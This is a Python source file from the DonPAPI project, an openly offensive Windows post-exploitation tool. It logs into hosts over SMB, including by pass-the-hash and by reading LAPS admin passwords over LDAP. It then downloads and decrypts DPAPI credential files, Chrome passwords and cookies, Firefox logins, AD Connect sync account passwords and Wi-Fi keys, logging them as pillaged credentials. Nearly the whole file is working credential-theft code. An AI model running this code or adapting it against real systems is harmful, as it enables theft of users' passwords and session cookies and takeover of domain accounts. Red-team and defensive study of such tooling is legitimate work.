DonPAPI/myseatbelt.py
Pierre-Alexandre Vandewoestyne 7303482920 Gathering Chrome cookies
2022-01-29 15:31:18 +01:00

1985 lines
96 KiB
Python

#!/usr/bin/env python
# coding:utf-8
'''
PA Vandewoestyne
'''
from __future__ import division
from __future__ import print_function
import copy
from pathlib import Path
from lib.secretsdump import LSASecrets as MyLSASecrets
from lib.secretsdump import SAMHashes as MySAMHashes
import socket,impacket
from impacket.dcerpc.v5 import srvs
from impacket.dcerpc.v5.dtypes import NULL
from impacket.smb import SMB_DIALECT
#import impacket.dpapi
from lib.dpapi import DPAPI, CredHist
from software.browser.chrome_decrypt import *
from software.browser.firefox_decrypt import *
from software.sysadmin.vnc import Vnc
from lib.toolbox import is_guid
from myusers import *
from lib.fileops import MyRegOps
from database import database
from lib.new_module import *
from lib.RecentFiles import *
from lib.adconnect import *
from ldap3 import ALL, Server, Connection, NTLM
#from lib.lazagne_dpapi.credhist import CredHistFile
class MySeatBelt:
def __init__(self, target, options, logger, verbose=1):
self.logging = logger
self.options = copy.deepcopy(options)
self.options.target_ip = target
self.host = target
#self.username=options.username
#self.password=options.password
#self.domain=options.domain
self.options.timeout=5
self.smb = None
#options.target_ip=target
"""
self.logging.info(f"[{target}] [-] initialising smb connection to {options.domain} / {options.username} : {options.password}, @ {options.dc_ip} , Hash : {options.lmhash} : { options.nthash}, AESKey {options.aesKey}")
smbClient = SMBConnection(options.address, target, sess_port=int(options.port))
if options.k is True:
smbClient.kerberosLogin(options.username, options.password, options.domain, options.lmhash, options.nthash, options.aesKey, options.dc_ip )
else:
smbClient.login(options.username, options.password, options.domain, options.lmhash, options.nthash)
self.smb = smbClient
"""
#Init all
self.smbv1 = False
self.admin_privs = False
#self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = self.smb.getCredentials()
self.share = None
self.last_output = None
self.completion = []
self.users = []
self.user_path = ''
self.machine_key = []
self.user_key = []
#self.options[logging] = logge
self.myfileops = None
self.myregops = None
#self.myfileops = MyFileOps(self.smb,self.logging,self.options)
self.credz = options.credz
self.__remoteOps = None
self.__bootKey = b''
self.__SAMHashes = None
self.__LSASecrets = None
self.global_logfile = b'globallog.log'
self.init_connect()
#logger.init()
def init_connect(self):
try:
self.db = database(sqlite3.connect(self.options.db_path, check_same_thread=False), self.logging)
if self.create_conn_obj():
#self.do_info_rpc_unauth()
self.do_info_unauth()
self.create_conn_obj()
if self.login_conn():
self.is_admin()
if self.admin_privs:
self.myfileops = MyFileOps(self.smb, self.logging, self.options)
self.myregops = MyRegOps(self.logging,self.options)
return True
else:
return False
return False
except Exception as e:
self.logging.debug('Error init connect')
return False
def create_smbv1_conn(self):
try:
self.smb = SMBConnection(self.host, self.host, None, self.options.port, preferredDialect=SMB_DIALECT, timeout=self.options.timeout)
self.smbv1 = True
logging.debug('SMBv1 OK on {} - {}'.format(self.host,self.options.target_ip))
except socket.error as e:
if str(e).find('Connection reset by peer') != -1:
logging.debug('SMBv1 might be disabled on {}'.format(self.host))
return False
except Exception as e:
logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e))
return False
return True
def create_smbv3_conn(self):
try:
self.smb = SMBConnection(self.host, self.host, None, self.options.port, timeout=self.options.timeout)
self.smbv1 = False
logging.debug('SMBv3 OK on {} - {}'.format(self.host,self.options.target_ip))
except Exception as e:
self.logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e))
self.db.add_computer(ip=self.host,connectivity=f"{e}")
return False
return True
def create_conn_obj(self):
#self.logging.info(f"[{self.options.target_ip}] [-] initialising smb connection to {self.options.domain} / {self.options.username} : {self.options.password}, @ {self.options.dc_ip} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb connection ...")
if self.create_smbv1_conn():
return True
elif self.create_smbv3_conn():
return True
return False
def quit(self):
try:
self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb close ...")
#self.myfileops.close()
#self.myregops.close()
#self.smb.close()
self.logging.debug(f"[{self.options.target_ip}] [-] smb closed ...")
except Exception as e:
self.logging.debug('Error in closing SMB connection')
return False
def get_laps(self):
try:
self.logging.debug(f"[{self.options.target_ip}] [-] Using LAPS to get Local admin password on {self.options.hostname} - domain {self.options.domain} : dcip {self.options.dc_ip}")
ldap_domain = ''
ldap_domain_parts = self.options.domain.split('.')
for part in ldap_domain_parts:
ldap_domain += f"dc={part},"
ldap_domain = ldap_domain[:-1]
if self.options.dc_ip != None:
s = Server(self.options.dc_ip, get_info=ALL)
else:
s = Server(self.options.domain, get_info=ALL)
c = Connection(s, user=self.options.domain + "\\" + self.options.username, password=self.options.password, authentication=NTLM, auto_bind=True)
c.search(search_base=f"{ldap_domain}",
search_filter=f'(&(cn={self.options.hostname})(ms-MCS-AdmPwd=*))',
attributes=['ms-MCS-AdmPwd', 'SAMAccountname'])
self.logging.debug(f"[{self.options.target_ip}] [-] Using LAPS to get Local admin password on {self.options.hostname} - {ldap_domain} - got {len(c.entries)} match")
if len(c.entries)==1:
#for entry in c.entries[0]:
entry=c.entries[0]
#self.options.username = str(entry['sAMAccountName'])
self.options.password = str(entry['ms-Mcs-AdmPwd'])
#self.username = self.options.username
#self.password = self.options.password
self.options.local_auth = True
self.options.domain = self.options.hostname
return True
else:
return False
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in get LAPS {bcolors.ENDC}")
self.logging.debug(ex)
return False
def login_conn(self,username=None,password=None,domain=None):
try:
if username is None:
username=self.options.username
if password==None:
password=self.options.password
if domain==None:
domain=self.options.domain
#smbClient = SMBConnection(options.address, target, sess_port=int(options.port))
if self.options.k is True:
self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb Kerberos Authentification to {self.options.domain} / {self.options.username} : {self.options.password}, @ {self.options.dc_ip} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
self.smb.kerberosLogin(username, password, domain, self.options.lmhash, self.options.nthash, self.options.aesKey, self.options.dc_ip)
#elif self.options.hashes != None:
else:
if self.options.laps is True and username != '' and password != '': # not doing LAPS for null session
if(self.get_laps()):
for username in ['administrator','administrateur','administrador']:
try:
self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb Local Authentification to {self.options.domain} / {username} : {self.options.password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
self.smb.login(username, self.options.password, self.options.domain, self.options.lmhash, self.options.nthash, ntlmFallback=True)
self.options.username=username
if username not in self.options.credz:
self.options.credz[username] = [self.options.password]
else:
self.options.credz[username].append(self.options.password)
return True
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection - LAPS with {bcolors.ENDC}")
self.logging.debug(ex)
continue
else:
if username == "" and password == "":
try:
self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb NullSession to {self.host}")
self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash,ntlmFallback=True)
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] Exception {bcolors.WARNING} in NullSession {bcolors.ENDC}")
self.logging.debug(ex)
return False
else:
self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb Authentification to {domain} / {username} : {password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash, ntlmFallback=True)
'''except : #self.smb.STATUS_LOGON_FAILURE :
try:
if domain != self.hostname:
#Trying localy
self.smb.login(username, password, self.hostname, self.options.lmhash, self.options.nthash, ntlmFallback=True)
return True
else:#On pourrait tenter une connexion domain, mais on risque d'augmenter le compte des erreurs
self.logging.error(f"[{self.options.target_ip}] Error {bcolors.WARNING} Connexion refused with credentials {domain}/{username}:{password}@{self.host} {bcolors.ENDC}")
return False
except Exception as ex:
self.logging.error(f"[{self.options.target_ip}] Exception {bcolors.WARNING} Connexion Error in Local attempt {bcolors.ENDC}")
self.logging.debug(ex)
return False'''
#self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = self.smb.getCredentials()
return True
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection {bcolors.ENDC}")
self.logging.debug(ex)
return False
def GetUserByName(self,username):
for user in self.users:
if user.username==username:
return user
else:
self.logging.debug("User %s Not found in self.users"%username)
def is_admin(self):
self.logging.debug(f"[{self.options.target_ip}] Checking if is admin ")
self.admin_privs = False
try:
self.smb.connectTree("C$")
self.admin_privs = True
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Is ADMIN{bcolors.ENDC}")
self.db.update_computer(ip=self.options.target_ip,is_admin=True)
except SessionError as e:
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception in IS ADMIN{bcolors.ENDC}")
self.logging.debug(f"[{self.options.target_ip}] {e}")
self.db.update_computer(ip=self.options.target_ip, is_admin=False)
pass
return self.admin_privs
def do_info_unauth(self):
#self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
try:
#Null session to get basic infos
self.login_conn(username='',password='')
#self.domain = self.smb.getServerDNSDomainName()
self.options.hostname = self.smb.getServerName()
#self.options.hostname=self.hostname
self.server_os = self.smb.getServerOS()
self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection['RequireSigning']
# self.os_arch = self.get_os_arch()
if self.options.domain == '': #no domain info == local auth
self.options.domain = self.options.hostname
#elif self.options.domain != '':
# self.domain = self.options.domain
self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.options.hostname}{bcolors.ENDC} (domain:{self.smb.getServerDNSDomainName()}) ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]")
self.db.add_computer(ip=self.options.target_ip,hostname=self.options.hostname,domain=self.smb.getServerDNSDomainName(),os=self.server_os,smb_signing_enabled=self.signing,smbv1_enabled=self.smbv1)
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO UNAUTH {bcolors.ENDC}")
self.logging.debug(ex)
def do_info_rpc_unauth(self):
try:
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrServerGetInfo(dce, 102)
self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
self.hostname = resp['InfoStruct']['ServerInfo102']['sv102_name']
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO {bcolors.ENDC}")
self.logging.debug(ex)
def do_info_with_auth(self):
#self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
try:
#Null session to get basic infos
self.login_conn()
#self.domain = self.smb.getServerDNSDomainName()
self.options.hostname = self.smb.getServerName()
self.server_os = self.smb.getServerOS()
self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection['RequireSigning']
# self.os_arch = self.get_os_arch()
if not self.domain and self.options.domain == '':
self.domain = self.options.hostname
elif self.options.domain != '':
self.domain = self.options.domain
self.logging.info(
f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) {self.hostname} ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]")
#IP# print(self.smb.getRemoteHost())
#print(self.smb.getServerDNSDomainName())
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrServerGetInfo(dce, 102)
#self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection['RequireSigning']
#self.os_arch = self.get_os_arch()
#self.logging.debug("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])
#self.logging.debug("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])
#self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
#self.logging.debug("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])
#self.logging.debug("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])
#self.logging.debug("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])
#USE user path
self.user_path = resp['InfoStruct']['ServerInfo102']['sv102_userpath']
self.db.add_computer(ip=self.options.target_ip,hostname=self.hostname,domain=self.domain,os=self.server_os)
self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) ({self.server_os} - {resp['InfoStruct']['ServerInfo102']['sv102_comment']} -{resp['InfoStruct']['ServerInfo102']['sv102_userpath']} - {resp['InfoStruct']['ServerInfo102']['sv102_users']})")
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO AUTH{bcolors.ENDC}")
self.logging.debug(ex)
def logsecret(self,data):
try:
fh = open(self.global_logfile, 'ab')
fh.write(data.encode())
fh.close()
self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} {data} {bcolors.ENDC}")
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception logsecret for {data} {bcolors.ENDC}")
self.logging.debug(ex)
def GetMozillaSecrets_wrapper(self):
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Mozilla Secrets {bcolors.ENDC}")
for user in self.users:
if user.username == 'MACHINE$':
continue
try:
myoptions = copy.deepcopy(self.options)
myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse
myoptions.key = None
myoptions.masterkeys = None
myFirefoxSecrets = FIREFOX_LOGINS(myoptions, self.logging, user, self.myfileops,self.db)
myFirefoxSecrets.run()
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception GetMozillaSecrets_wrapper for {user.username} {bcolors.ENDC}")
self.logging.debug(ex)
def GetChormeSecrets(self):
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Chrome Secrets {bcolors.ENDC}")
blacklist = ['.', '..']
# Parse chrome
# autres navigateurs ?
user_directories = [("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data", 'Local State', 'ChromeLocalState', 'DOMAIN'),
("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Cookies', 'ChromeCookies', 'DOMAIN'),
("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Login Data', 'ChromeLoginData', 'DOMAIN'),
]
for user in self.users:
if user.username == 'MACHINE$':
continue
else:
directories_to_use = user_directories
myoptions = copy.deepcopy(self.options)
myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse
myoptions.key = None
myoptions.masterkeys = None
myChromeSecrets = CHROME_LOGINS(myoptions, self.logging, self.db,user.username)
# if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
for info in directories_to_use:
my_dir, my_mask, my_blob_type, my_user_type = info
tmp_pwd = my_dir.format(username=user.username)#tmp_pwd = f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
for infos in my_directory:
longname, is_directory = infos
self.logging.debug("ls returned file %s" % longname)
if longname not in blacklist and not is_directory:
try:
self.logging.debug(f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome files : {longname}")
# Downloading Blob file
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname),allow_access_error=True)
#myoptions = copy.deepcopy(self.options)
if my_blob_type == 'ChromeLocalState':
try:
myChromeSecrets.localstate_path=localfile
guid=myChromeSecrets.get_masterkey_guid_from_localstate()
if guid != None:
masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
if masterkey != None:
if masterkey['status'] == 'decrypted':
myChromeSecrets.masterkey = masterkey['key']
aesKey = myChromeSecrets.get_AES_key_from_localstate(masterkey=masterkey['key'])
if aesKey != None:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome AES Key {aesKey} {bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State - Masterkey not decrypted{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ChromeLocalState{bcolors.ENDC}")
self.logging.debug(ex)
if my_blob_type == 'ChromeLoginData':
try:
myChromeSecrets.logindata_path=localfile
user.files[longname] = {}
user.files[longname]['type'] = my_blob_type
user.files[longname]['status'] = 'encrypted'
user.files[longname]['path'] = localfile
logins=myChromeSecrets.decrypt_chrome_LoginData()
user.files[longname]['secret'] = logins
if logins is not None:
user.files[longname]['status'] = 'decrypted'
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting logindata for CHROME {user.username} {localfile} {bcolors.ENDC}")
self.logging.debug(ex)
if my_blob_type == 'ChromeCookies':
try:
myChromeSecrets.cookie_path=localfile
user.files[longname] = {}
user.files[longname]['type'] = my_blob_type
user.files[longname]['status'] = 'encrypted'
user.files[longname]['path'] = localfile
cookies=myChromeSecrets.decrypt_chrome_CookieData()
user.files[longname]['secret'] = cookies
if cookies is not None:
user.files[longname]['status'] = 'decrypted'
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
self.logging.debug(ex)
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
self.logging.debug(ex)
def getMdbData(self):
try:
return self.getMdbData2()
except UnicodeDecodeError:
return self.getMdbData2('utf-16-le')
def getMdbData2(self, codec='utf-8'):
try:
out = {
'cryptedrecords': [],
'xmldata': []
}
keydata = None
#
#self.options.from_file='adsync_export'
if self.options.from_file:
logging.info('Loading configuration data from %s on filesystem', self.options.from_file)
infile = codecs.open(self.options.from_file, 'r', codec)
enumtarget = infile
else:
logging.info('Querying database for configuration data')
dbpath = os.path.join(os.getcwd(), r"ADSync.mdf")
output = subprocess.Popen(["ADSyncQuery.exe", dbpath], stdout=subprocess.PIPE).communicate()[0]
enumtarget = output.split('\n')
#####TEMP
#logging.info('Loading configuration data from %s on filesystem', self.__options.from_file)
#infile = codecs.open('adsync_export', 'r', codec)
#enumtarget = infile
######
for line in enumtarget:
print(line)
try:
ltype, data = line.strip().split(': ')
except ValueError:
continue
ltype = ltype.replace(u'\ufeff', u'')
if ltype.lower() == 'record':
xmldata, crypteddata = data.split(';')
out['cryptedrecords'].append(crypteddata)
out['xmldata'].append(xmldata)
#print(f"record found : {xmldata}")
if ltype.lower() == 'config':
instance, keyset_id, entropy = data.split(';')
out['instance'] = instance
out['keyset_id'] = keyset_id
out['entropy'] = entropy
#if self.__options.from_file:
# infile.close()
# Check if all values are in the outdata
required = ['cryptedrecords', 'xmldata', 'instance', 'keyset_id', 'entropy']
for option in required:
if not option in out:
logging.error(
'Missing data from database. Option %s could not be extracted. Check your database or output file.',
option)
return None
return out
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Parsing database : Please manualy run ADSyncQuery.exe ADSync.mdf > adsync_export on a windows env with MSSQL support{bcolors.ENDC}")
self.logging.debug(ex)
def Get_AD_Connect(self,user, localfile, data):
#Local DPAPI extracted data
info=""
parts = data['Target'].decode('utf-16le')[:-1].split('_')
localBlobdatas= {
'instanceid': parts[3][1:-1].lower(),
'keyset_id': parts[4],
'data': data['Unknown3']
}
#print(localBlobdatas)
#ADConnect Database data
logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE} Trying to get ADConnect account{bcolors.ENDC}")
try:
#Stop Service / Download DB / Start DB
myADSRemoteOps = ADSRemoteOperations(smbConnection=self.smb, doKerberos=False)
myADSRemoteOps.gatherAdSyncMdb()
#files_to_dl=['Program Files\\Microsoft Azure AD Sync\\Data\\ADSync.mdf','Program Files\\Microsoft Azure AD Sync\\Data\\ADSync_log.ldf']
mdbdata=self.getMdbData()
if mdbdata is None:
logging.debug(f"[{self.options.target_ip}] Could not extract required database information. Exiting")
return
#print(mdbdata)
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ADSRemoteOperations 1{bcolors.ENDC}")
self.logging.debug(ex)
result=localBlobdatas
if result is not None:
if result['keyset_id'] != mdbdata['keyset_id'] or result['instanceid'] != mdbdata['instance']:
logging.debug('Found keyset %s instance %s, but need keyset %s instance %s. Trying next',
result['keyset_id'], result['instanceid'], mdbdata['keyset_id'], mdbdata['instance'])
else:
logging.debug('Found correct encrypted keyset to decrypt data')
if result is None:
logging.debug('Failed to find correct keyset data')
return
#cryptkeys = [self.__remoteOps.decryptDpapiBlobSystemkey(result['data'], self.dpapiSystem['MachineKey'],string_to_bin(mdbdata['entropy']))]
myoptions = copy.deepcopy(self.options)
myoptions.file = None # "key_material.tmp" # BLOB to parse
myoptions.key = None
myoptions.masterkeys = None # user.masterkeys_file
mydpapi = DPAPI(myoptions, self.logging)
guid = mydpapi.find_Blob_masterkey(raw_data=result['data'])
self.logging.debug(f"[{self.options.target_ip}] Looking for ADConnect masterkey : {guid}")
if guid != None:
machine_user=user=self.GetUserByName('MACHINE$')
masterkey = self.get_masterkey(user=machine_user, guid=guid, type='MACHINE')
if masterkey != None:
if masterkey['status'] == 'decrypted':
mydpapi.options.key = masterkey['key']
# cred_data = mydpapi.decrypt_credential()
cryptkeys = [mydpapi.decrypt_blob(raw_data=result['data'],entropy=string_to_bin(mdbdata['entropy']))]
try:
logging.debug(f'Decrypting encrypted AD Sync configuration data with {cryptkeys}')
for index, record in enumerate(mdbdata['cryptedrecords']):
# Try decrypting with highest cryptkey record
self.logging.debug(f"[{self.options.target_ip}] {index} - {record}")
drecord = DumpSecrets.decrypt(record, cryptkeys[-1]).replace('\x00', '')
#print(drecord)
with open('r%d_xml_data.xml' % index, 'w') as outfile:
data = base64.b64decode(mdbdata['xmldata'][index]).decode('utf-16-le')
outfile.write(data)
with open('r%d_encrypted_data.xml' % index, 'w') as outfile:
outfile.write(drecord)
ctree = ET.fromstring(drecord)
dtree = ET.fromstring(data)
if 'forest-login-user' in data:
logging.debug('Local AD credentials')
el = dtree.find(".//parameter[@name='forest-login-domain']")
if el is not None:
logging.debug('\tDomain: %s', el.text)
username=el.text
el = dtree.find(".//parameter[@name='forest-login-user']")
if el is not None:
username+='/'+el.text
#logging.debug('\tUsername: %s', el.text)
else:
# Assume AAD config
logging.debug('Azure AD credentials')
el = dtree.find(".//parameter[@name='UserName']")
if el is not None:
username=el.text
logging.debug('\tUsername: %s', el.text)
# Can be either lower or with capital P
fpw = None
el = ctree.find(".//attribute[@name='Password']")
if el is not None:
fpw = el.text
el = ctree.find(".//attribute[@name='password']")
if el is not None:
fpw = el.text
if fpw:
# fpw = fpw[:len(fpw)/2] + '...[REDACTED]'
logging.debug('\tPassword: %s', fpw)
info+=f"{username} : {fpw}\n"
self.logging.info(
f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} ADCONNECT : {bcolors.OKGREEN} - {username} : {fpw}{bcolors.ENDC}")
############PROCESSING DATA
self.db.add_credz(credz_type='ADConnect',
credz_username=username,
credz_password=fpw,
credz_target='',
credz_path='', # user.files['ADCONNECT']['path'],
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Get_AD_Connect 2{bcolors.ENDC}")
self.logging.debug(ex)
else :
self.logging.info(
f"[{self.options.target_ip}] [+] {bcolors.WARNING} Masterkey NOT Found for ADConnect {bcolors.ENDC}")
return info
def Get_DPAPI_Protected_Files(self):
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering DPAPI Secret blobs on the target{bcolors.ENDC}")
blacklist = ['.', '..']
#credentials ?
#Vaults ?
#Parse chrome
#autres navigateurs ?
#CredHistory
#Appdata Roaming ?
user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Credentials",'*','credential','DOMAIN'),
("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential', 'MACHINE-USER'),
("Users\\{username}\\AppData\\Roaming\\Microsoft\\Credentials", '*', 'credential','DOMAIN'),
("Users\\{username}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings","*.rdg",'rdg','DOMAIN')
]#ADD Desktop for RDG
machine_directories = [("Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials",'*','credential','MACHINE'),
("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*',
'credential', 'MACHINE-USER'),
("Users\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential', 'MACHINE-USER'),
#Valider le %systemdir% selon la version de windows ?
]
for user in self.users:
if user.username == 'MACHINE$':
directories_to_use = machine_directories
else:
directories_to_use = user_directories
#if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
for info in directories_to_use:
my_dir,my_mask,my_blob_type, my_user_type=info
tmp_pwd = my_dir.format(username=user.username) ##ntpath.join(ntpath.join('Users', user.username), my_dir)
self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
my_directory = self.myfileops.do_ls(tmp_pwd,my_mask, display=False)
for infos in my_directory:
longname, is_directory = infos
self.logging.debug("ls returned file %s"%longname)
if longname not in blacklist and not is_directory:
try:
self.logging.debug( f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} encrypted files {longname}")
# Downloading Blob file
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd,longname))
user.files[longname]={}
user.files[longname]['type'] = my_blob_type
user.files[longname]['status'] = 'encrypted'
user.files[longname]['path'] = localfile
myoptions = copy.deepcopy(self.options)
myoptions.file = localfile # Masterkeyfile to parse
myoptions.masterkeys = None# user.masterkeys_file
myoptions.key = None
mydpapi = DPAPI(myoptions,self.logging)
guid=mydpapi.find_CredentialFile_masterkey()
self.logging.debug( f"[{self.options.target_ip}] Looking for {longname} masterkey : {guid}")
if guid != None :
masterkey=self.get_masterkey(user=user,guid=guid,type=my_user_type)
if masterkey!=None:
if masterkey['status']=='decrypted':
mydpapi.options.key = masterkey['key']
cred_data = mydpapi.decrypt_credential()
if cred_data != None:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Secret {longname}{bcolors.ENDC}")
user.files[longname]['status'] = 'decrypted'
user.files[longname]['data'] = cred_data
self.process_decrypted_data(user,user.files[longname])#cred_data,user,localfile,my_blob_type)
else:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
self.logging.debug(ex)
return 1
def GetWifi(self):
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Wifi Keys{bcolors.ENDC}")
blacklist = ['.', '..']
machine_directories = [("ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces",'*.xml')]
for info in machine_directories:
user = self.GetUserByName('MACHINE$')
my_dir,my_mask=info
#interface name
self.logging.debug(f"[{self.options.target_ip}] [+] Looking for interfaces in {my_dir}")#No mask
my_directory = self.myfileops.do_ls(my_dir,'*', display=False)
for infos in my_directory:
longname, is_directory = infos
if longname not in blacklist and is_directory:
self.logging.debug(f"[{self.options.target_ip}] [+] Got Wifi interface {longname}")
tmp_pwd=ntpath.join(my_dir,longname)
my_directory2 = self.myfileops.do_ls(tmp_pwd,my_mask, display=False)
for infos2 in my_directory2:
longname2, is_directory2 = infos2
if longname2 not in blacklist and not is_directory2:
self.logging.debug(f"[{self.options.target_ip}] [+] Got wifi config file {longname2}")
